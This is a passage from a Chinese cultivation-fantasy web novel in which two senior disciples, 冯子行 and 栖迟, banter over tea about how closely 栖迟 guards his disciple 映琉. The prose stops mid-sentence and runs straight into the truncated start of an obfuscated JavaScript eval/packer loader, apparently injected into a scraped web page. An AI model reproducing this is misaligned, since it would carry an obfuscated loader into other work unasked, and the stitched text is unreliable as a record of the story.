道:“名号人不到也能使。”
冯子行理亏在先,闻言赶紧同意了:“行行行,下次不喊你们了。反正我任务也完成了,你们紫金峰自由去吧,行了吧。”
栖迟颔首:“还有你的徒弟。”
“成微澈?”冯子行抱着茶,奇怪看着栖迟,“他又怎么了?”
“若是下次正事不干拉映琉去玩,我就不会只喝茶了。”
冯子行听明白了,他幸灾乐祸道:“我说他今日怎么老老实实来找我了,原来是撞见门神了啊。”
栖迟面无表情盯他。
冯子行:“……”
他咳了声,一本正经说:“好啦好啦,我知道你宝贝你那徒弟啦。等待会微澈回来,我就好好警告他好不好……不过师弟。”
冯子行话锋一转:“你也别把人看这么紧嘛。微澈那臭小子比映琉大了不知多少,还成日不是上房揭瓦就是下河摸鱼呢,年轻人就应该有年轻人的样子。
你看看映琉,朋友没几个也罢了,同龄人都怕他,万一他有什么烦心事,都找不到人说……这对心境可没好处。”
冯子行嘚啵嘚啵说了一通,发现四周静悄悄没个动静。他抬头一看,发现栖迟一脸他可以对我说的样子。
冯子行:“……?”得,白说。
“也不是不能对你说……”冯子行无奈,“可一些微不足道的小事,也找你说么?”
栖迟理所当然:“有何不可?”
冯子行:“……”他表情都扭曲了一下。
“我和你说不通。”冯子行一个深呼吸,“总之该让人家出去玩就出去。”
栖迟:“我知道。”
冯子行闻声翻了个白眼,你知道个屁。
“我看不一定。”他看着栖迟,语重心长道,“年轻人,总是闹别扭得多。”
栖迟对此无动于衷。
冯子行:“……”
他看着对方油盐不进的死样子,就怒从心来。
“这下事都说完了吧!”冯子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(